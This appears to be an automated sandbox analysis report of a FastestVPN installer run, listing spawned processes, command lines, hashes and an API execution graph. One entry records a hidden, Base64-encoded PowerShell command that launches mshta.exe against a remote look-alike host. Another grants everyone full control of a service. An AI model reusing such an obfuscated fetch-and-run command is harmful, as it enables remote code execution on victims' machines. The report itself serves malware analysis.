                                                                                                                Imagebase:0x7ff7a3990000
                                                                                                                File size:17'920 bytes
                                                                                                                MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:27
                                                                                                                Start time:04:17:43
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\xcopy.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers
                                                                                                                Imagebase:0x7ff752550000
                                                                                                                File size:50'688 bytes
                                                                                                                MD5 hash:39FBFD3AF58238C6F9D4D408C9251FF5
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:28
                                                                                                                Start time:04:17:43
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:release\nfregdrv.exe -u fastestvpndriver
                                                                                                                Imagebase:0x400000
                                                                                                                File size:61'064 bytes
                                                                                                                MD5 hash:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:29
                                                                                                                Start time:04:17:43
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:release\nfregdrv.exe fastestvpndriver
                                                                                                                Imagebase:0x400000
                                                                                                                File size:61'064 bytes
                                                                                                                MD5 hash:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:30
                                                                                                                Start time:04:17:43
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\sc.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\sc.exe" stop FastestVPNService
                                                                                                                Imagebase:0x7ff6a4880000
                                                                                                                File size:72'192 bytes
                                                                                                                MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:31
                                                                                                                Start time:04:17:43
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:32
                                                                                                                Start time:04:17:43
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstall
                                                                                                                Imagebase:0x9a0000
                                                                                                                File size:25'768 bytes
                                                                                                                MD5 hash:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:33
                                                                                                                Start time:04:17:44
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\svchost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                Imagebase:0x7ff7403e0000
                                                                                                                File size:55'320 bytes
                                                                                                                MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:false

                                                                                                                General

                                                                                                                Target ID:34
                                                                                                                Start time:04:17:44
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2988 -ip 2988
                                                                                                                Imagebase:0x2c0000
                                                                                                                File size:483'680 bytes
                                                                                                                MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:35
                                                                                                                Start time:04:17:44
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 1076
                                                                                                                Imagebase:0x2c0000
                                                                                                                File size:483'680 bytes
                                                                                                                MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:36
                                                                                                                Start time:04:17:47
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Program Files\FastestVPN\FastestVPN.exe" -autorun
                                                                                                                Imagebase:0xcb0000
                                                                                                                File size:2'059'432 bytes
                                                                                                                MD5 hash:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                Has elevated privileges:false
                                                                                                                Has administrator privileges:false
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:false

                                                                                                                General

                                                                                                                Target ID:37
                                                                                                                Start time:04:17:48
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\sc.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\sc.exe" delete FastestVPNService
                                                                                                                Imagebase:0x7ff6a4880000
                                                                                                                File size:72'192 bytes
                                                                                                                MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:38
                                                                                                                Start time:04:17:48
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:39
                                                                                                                Start time:04:17:48
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --install
                                                                                                                Imagebase:0xf20000
                                                                                                                File size:25'768 bytes
                                                                                                                MD5 hash:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:40
                                                                                                                Start time:04:17:50
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\subinacl.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TO
                                                                                                                Imagebase:0x1000000
                                                                                                                File size:301'224 bytes
                                                                                                                MD5 hash:4798226EE22C513302EE57D3AA94398B
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:41
                                                                                                                Start time:04:17:51
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:43
                                                                                                                Start time:04:17:51
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\sc.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\sc.exe" start FastestVPNService
                                                                                                                Imagebase:0x7ff6a4880000
                                                                                                                File size:72'192 bytes
                                                                                                                MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:44
                                                                                                                Start time:04:17:51
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:45
                                                                                                                Start time:04:17:51
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe"
                                                                                                                Imagebase:0x7ff799c70000
                                                                                                                File size:25'768 bytes
                                                                                                                MD5 hash:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:false

                                                                                                                General

                                                                                                                Target ID:46
                                                                                                                Start time:04:17:52
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
                                                                                                                Imagebase:0x140000
                                                                                                                File size:433'152 bytes
                                                                                                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                Has elevated privileges:false
                                                                                                                Has administrator privileges:false
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:47
                                                                                                                Start time:04:17:52
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
                                                                                                                Imagebase:0x7ff6f7270000
                                                                                                                File size:289'792 bytes
                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:48
                                                                                                                Start time:04:17:52
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:49
                                                                                                                Start time:04:17:52
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:false
                                                                                                                Has administrator privileges:false
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:50
                                                                                                                Start time:04:17:53
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\regedit.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
                                                                                                                Imagebase:0x7ff64ce80000
                                                                                                                File size:370'176 bytes
                                                                                                                MD5 hash:999A30979F6195BF562068639FFC4426
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:51
                                                                                                                Start time:04:17:54
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\svchost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                Imagebase:0x7ff7403e0000
                                                                                                                File size:55'320 bytes
                                                                                                                MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:false

                                                                                                                General

                                                                                                                Target ID:52
                                                                                                                Start time:04:17:57
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                Wow64 process (32bit):true
                                                                                                                Commandline:"C:\Program Files\FastestVPN\FastestVPN.exe"
                                                                                                                Imagebase:0xe00000
                                                                                                                File size:2'059'432 bytes
                                                                                                                MD5 hash:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                Has elevated privileges:true
                                                                                                                Has administrator privileges:true
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:53
                                                                                                                Start time:04:18:07
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA
                                                                                                                Imagebase:0x7ff6e3d50000
                                                                                                                File size:452'608 bytes
                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                Has elevated privileges:false
                                                                                                                Has administrator privileges:false
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                General

                                                                                                                Target ID:54
                                                                                                                Start time:04:18:07
                                                                                                                Start date:03/10/2024
                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                Wow64 process (32bit):false
                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                File size:862'208 bytes
                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                Has elevated privileges:false
                                                                                                                Has administrator privileges:false
                                                                                                                Programmed in:C, C++ or other language
                                                                                                                Has exited:true

                                                                                                                Disassembly

                                                                                                                Reset < >

                                                                                                                  Execution Graph

                                                                                                                  Execution Coverage:1.5%
                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                  Signature Coverage:24.8%
                                                                                                                  Total number of Nodes:214
                                                                                                                  Total number of Limit Nodes:4
                                                                                                                  execution_graph 33598 7ff7fedd789c 33621 7ff7fedd8414 33598->33621 33603 7ff7fedd78d1 __scrt_acquire_startup_lock 33606 7ff7fedd7a11 33603->33606 33612 7ff7fedd78ef __scrt_release_startup_lock 33603->33612 33604 7ff7fedd7a07 33670 7ff7fedd8550 7 API calls __scrt_fastfail 33604->33670 33671 7ff7fedd8550 7 API calls __scrt_fastfail 33606->33671 33608 7ff7fedd7914 33609 7ff7fedd7a1c _purecall 33610 7ff7fedd799a 33632 7ff7fee01234 33610->33632 33612->33608 33612->33610 33667 7ff7fee01788 37 API calls __InternalCxxFrameHandler 33612->33667 33614 7ff7fedd799f 33638 7ff7fedd52e0 33614->33638 33618 7ff7fedd79c3 33618->33609 33669 7ff7fedd82dc 8 API calls __vcrt_uninitialize 33618->33669 33620 7ff7fedd79da 33620->33608 33622 7ff7fedd78a5 33621->33622 33623 7ff7fedd8437 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 33621->33623 33624 7ff7fedd8124 33622->33624 33623->33622 33625 7ff7fedd8146 33624->33625 33672 7ff7fedd9184 33625->33672 33628 7ff7fedd78c9 33628->33603 33628->33604 33633 7ff7fee01244 33632->33633 33636 7ff7fee01259 33632->33636 33633->33636 33721 7ff7fee00930 34 API calls Concurrency::details::_Concurrent_queue_iterator_base_v4::~_Concurrent_queue_iterator_base_v4 33633->33721 33635 7ff7fee01262 33635->33636 33722 7ff7fee00d90 15 API calls 3 library calls 33635->33722 33636->33614 33639 7ff7fedd532b 33638->33639 33640 7ff7fedd5336 CharNextW 33639->33640 33664 7ff7fedd5330 33639->33664 33640->33664 33641 7ff7fedd5442 33642 7ff7fedd547f CharNextW 33641->33642 33643 7ff7fedd5455 33641->33643 33646 7ff7fedd548b 33641->33646 33642->33646 33758 7ff7fedd4770 FormatMessageW 33643->33758 33646->33643 33648 7ff7fedd551c 33646->33648 33723 7ff7fede676c 33646->33723 33647 7ff7fedd54e9 33764 7ff7fedd76e0 33647->33764 33740 7ff7fedd28b0 33648->33740 33652 7ff7fedff44c 31 API calls 33652->33664 33653 7ff7fedd55c2 33653->33647 33657 7ff7fedd55cd GetCurrentProcess OpenProcessToken 33653->33657 33654 7ff7fedd5577 33655 7ff7fedd55a3 33654->33655 33656 7ff7fedd5584 33654->33656 33663 7ff7fedd4770 68 API calls 33655->33663 33662 7ff7fedd4770 68 API calls 33656->33662 33658 7ff7fedd5648 InitiateSystemShutdownExW 33657->33658 33659 7ff7fedd55ea LookupPrivilegeValueW 33657->33659 33658->33647 33660 7ff7fedd5642 CloseHandle 33659->33660 33661 7ff7fedd5607 AdjustTokenPrivileges 33659->33661 33660->33658 33661->33660 33662->33647 33663->33647 33664->33641 33664->33652 33665 7ff7fedff4f0 33 API calls 33664->33665 33665->33664 33667->33610 33668 7ff7fedd86e4 GetModuleHandleW 33668->33618 33669->33620 33670->33606 33671->33609 33673 7ff7fedd918d __vcrt_initialize_winapi_thunks __vcrt_initialize 33672->33673 33685 7ff7fedd9d08 33673->33685 33676 7ff7fedd814b 33676->33628 33680 7ff7fee04568 33676->33680 33678 7ff7fedd91a4 33678->33676 33692 7ff7fedd9d6c DeleteCriticalSection 33678->33692 33681 7ff7fee15814 33680->33681 33682 7ff7fedd8158 33681->33682 33709 7ff7fee09fb0 33681->33709 33682->33628 33684 7ff7fedd91e0 8 API calls 3 library calls 33682->33684 33684->33628 33687 7ff7fedd9d10 33685->33687 33688 7ff7fedd9d41 33687->33688 33689 7ff7fedd9197 33687->33689 33693 7ff7fedda598 33687->33693 33698 7ff7fedd9d6c DeleteCriticalSection 33688->33698 33689->33676 33691 7ff7fedd9c9c 8 API calls 3 library calls 33689->33691 33691->33678 33692->33676 33699 7ff7fedd9fe8 33693->33699 33696 7ff7fedda5e3 InitializeCriticalSectionAndSpinCount 33697 7ff7fedda5d8 33696->33697 33697->33687 33698->33689 33700 7ff7fedda049 33699->33700 33707 7ff7fedda044 try_get_first_available_module 33699->33707 33700->33696 33700->33697 33701 7ff7fedda12c 33701->33700 33704 7ff7fedda13a GetProcAddress 33701->33704 33702 7ff7fedda078 LoadLibraryExW 33703 7ff7fedda099 GetLastError 33702->33703 33702->33707 33703->33707 33705 7ff7fedda14b 33704->33705 33705->33700 33706 7ff7fedda111 FreeLibrary 33706->33707 33707->33700 33707->33701 33707->33702 33707->33706 33708 7ff7fedda0d3 LoadLibraryExW 33707->33708 33708->33707 33720 7ff7fee11c48 EnterCriticalSection 33709->33720 33711 7ff7fee09fc0 33712 7ff7fee0ce60 32 API calls 33711->33712 33713 7ff7fee09fc9 33712->33713 33714 7ff7fee09db4 34 API calls 33713->33714 33719 7ff7fee09fd7 33713->33719 33716 7ff7fee09fd2 33714->33716 33715 7ff7fee11ca8 _onexit LeaveCriticalSection 33717 7ff7fee09fe3 33715->33717 33718 7ff7fee09ea4 GetStdHandle GetFileType 33716->33718 33717->33681 33718->33719 33719->33715 33721->33635 33722->33636 33724 7ff7fede679d 33723->33724 33725 7ff7fede6779 33723->33725 33728 7ff7fede67d7 33724->33728 33729 7ff7fede67f6 33724->33729 33725->33724 33726 7ff7fede677e 33725->33726 33773 7ff7fee06b7c 14 API calls _set_fmode 33726->33773 33775 7ff7fee06b7c 14 API calls _set_fmode 33728->33775 33777 7ff7fede65d8 37 API calls 2 library calls 33729->33777 33730 7ff7fede6783 33774 7ff7fee069d0 31 API calls _invalid_parameter_noinfo_noreturn 33730->33774 33734 7ff7fede67dc 33776 7ff7fee069d0 31 API calls _invalid_parameter_noinfo_noreturn 33734->33776 33736 7ff7fede6803 33738 7ff7fede67e7 TranslateName 33736->33738 33739 7ff7fedff19c 38 API calls TranslateName 33736->33739 33737 7ff7fede678e 33737->33646 33738->33646 33739->33736 33741 7ff7fedd28e4 33740->33741 33757 7ff7fedd29cc 33740->33757 33742 7ff7fedd28ed LoadStringW 33741->33742 33741->33757 33744 7ff7fedd290e LoadStringW 33742->33744 33742->33757 33743 7ff7fedd76e0 __FrameHandler3::UnwindNestedFrames 8 API calls 33745 7ff7fedd2a2e 33743->33745 33746 7ff7fedd292e LoadStringW 33744->33746 33744->33757 33745->33647 33745->33653 33745->33654 33747 7ff7fedd2951 33746->33747 33746->33757 33778 7ff7fedd41d0 33747->33778 33750 7ff7fedd29d0 33752 7ff7fedd29f2 33750->33752 33753 7ff7fedd29d7 33750->33753 33751 7ff7fedd29ba 33754 7ff7fedd4770 68 API calls 33751->33754 33756 7ff7fedd4770 68 API calls 33752->33756 33755 7ff7fedd4770 68 API calls 33753->33755 33754->33757 33755->33757 33756->33757 33757->33743 33759 7ff7fedd4811 33758->33759 33761 7ff7fedd47c7 33758->33761 33759->33647 33760 7ff7fedd480b LocalFree 33760->33759 33761->33760 33805 7ff7fede6c8c 33761->33805 33765 7ff7fedd76ea 33764->33765 33766 7ff7fedd550b 33765->33766 33767 7ff7fedd7b50 IsProcessorFeaturePresent 33765->33767 33766->33668 33768 7ff7fedd7b67 33767->33768 33824 7ff7fedd7e54 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 33768->33824 33770 7ff7fedd7b7a 33825 7ff7fedd7b18 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 33770->33825 33773->33730 33774->33737 33775->33734 33776->33738 33777->33736 33779 7ff7fedd4254 33778->33779 33782 7ff7fedd425c 33778->33782 33780 7ff7fedd76e0 __FrameHandler3::UnwindNestedFrames 8 API calls 33779->33780 33781 7ff7fedd29ab 33780->33781 33781->33750 33781->33751 33781->33757 33782->33779 33783 7ff7fedd42ac SetupDiClassGuidsFromNameExW 33782->33783 33792 7ff7fedd42dd 33782->33792 33784 7ff7fedd42d2 GetLastError 33783->33784 33783->33792 33790 7ff7fedd42e4 33784->33790 33784->33792 33785 7ff7fedd4425 33786 7ff7fedd4464 SetupDiGetClassDevsExW 33785->33786 33787 7ff7fedd443e SetupDiCreateDeviceInfoListExW 33785->33787 33795 7ff7fedd44a9 33786->33795 33787->33795 33788 7ff7fedd43b8 CharNextW 33788->33792 33789 7ff7fedd43d6 CharNextW 33789->33792 33790->33779 33794 7ff7fedd42fd SetupDiDestroyDeviceInfoList 33790->33794 33791 7ff7fedd4516 SetupDiGetDeviceInfoListDetailW 33791->33790 33793 7ff7fedd4532 SetupDiEnumDeviceInfo 33791->33793 33792->33785 33792->33788 33792->33789 33792->33790 33793->33790 33803 7ff7fedd456a 33793->33803 33794->33779 33795->33790 33795->33791 33796 7ff7fedd44e8 SetupDiOpenDeviceInfoW 33795->33796 33797 7ff7fedd4509 33795->33797 33796->33795 33797->33791 33798 7ff7fedd46ec SetupDiEnumDeviceInfo 33798->33790 33798->33803 33799 7ff7fedd45a9 CM_Get_Device_ID_ExW 33799->33803 33801 7ff7fedd4820 SetupDiGetDeviceRegistryPropertyW GetLastError SetupDiGetDeviceRegistryPropertyW 33801->33803 33802 7ff7fedd50e0 41 API calls 33802->33803 33803->33790 33803->33798 33803->33799 33803->33801 33803->33802 33804 7ff7fedd4f10 41 API calls TranslateName 33803->33804 33804->33803 33806 7ff7fede6ca3 33805->33806 33807 7ff7fede6cb8 33805->33807 33821 7ff7fee06b7c 14 API calls _set_fmode 33806->33821 33807->33806 33809 7ff7fede6cbd 33807->33809 33814 7ff7fede6b3c 33809->33814 33810 7ff7fede6ca8 33822 7ff7fee069d0 31 API calls _invalid_parameter_noinfo_noreturn 33810->33822 33813 7ff7fedd4806 33813->33760 33823 7ff7fede6b24 EnterCriticalSection 33814->33823 33816 7ff7fede6b59 33817 7ff7fede6bfc 64 API calls 33816->33817 33818 7ff7fede6b62 33817->33818 33819 7ff7fede6b30 LeaveCriticalSection 33818->33819 33820 7ff7fede6b6c 33819->33820 33820->33813 33821->33810 33822->33813 33824->33770 33826 7ff7fee0154c 33827 7ff7fee015b3 33826->33827 33828 7ff7fee01569 GetModuleHandleW 33826->33828 33836 7ff7fee01340 33827->33836 33828->33827 33829 7ff7fee01576 33828->33829 33829->33827 33850 7ff7fee016e4 GetModuleHandleExW 33829->33850 33832 7ff7fee015f5 33834 7ff7fee01607 33856 7ff7fee11c48 EnterCriticalSection 33836->33856 33838 7ff7fee0135c 33839 7ff7fee01434 14 API calls 33838->33839 33840 7ff7fee01365 33839->33840 33841 7ff7fee11ca8 _onexit LeaveCriticalSection 33840->33841 33842 7ff7fee0136d 33841->33842 33842->33832 33843 7ff7fee01608 33842->33843 33857 7ff7fee11f40 33843->33857 33846 7ff7fee01642 33848 7ff7fee016e4 3 API calls 33846->33848 33847 7ff7fee01631 GetCurrentProcess TerminateProcess 33847->33846 33849 7ff7fee01649 ExitProcess 33848->33849 33851 7ff7fee0170a GetProcAddress 33850->33851 33852 7ff7fee01729 33850->33852 33851->33852 33853 7ff7fee01721 33851->33853 33854 7ff7fee01733 FreeLibrary 33852->33854 33855 7ff7fee01739 33852->33855 33853->33852 33854->33855 33855->33827 33858 7ff7fee11f5e 33857->33858 33859 7ff7fee01615 33857->33859 33861 7ff7fee08634 33858->33861 33859->33846 33859->33847 33864 7ff7fee081a8 33861->33864 33865 7ff7fee08209 33864->33865 33872 7ff7fee08204 try_get_first_available_module 33864->33872 33865->33859 33866 7ff7fee082ec 33866->33865 33869 7ff7fee082fa GetProcAddress 33866->33869 33867 7ff7fee08238 LoadLibraryExW 33868 7ff7fee08259 GetLastError 33867->33868 33867->33872 33868->33872 33870 7ff7fee0830b 33869->33870 33870->33865 33871 7ff7fee082d1 FreeLibrary 33871->33872 33872->33865 33872->33866 33872->33867 33872->33871 33873 7ff7fee08293 LoadLibraryExW 33872->33873 33873->33872

                                                                                                                  Executed Functions

                                                                                                                  Function 00007FF7FEDD41D0 Relevance: 18.3, APIs: 12, Instructions: 338COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
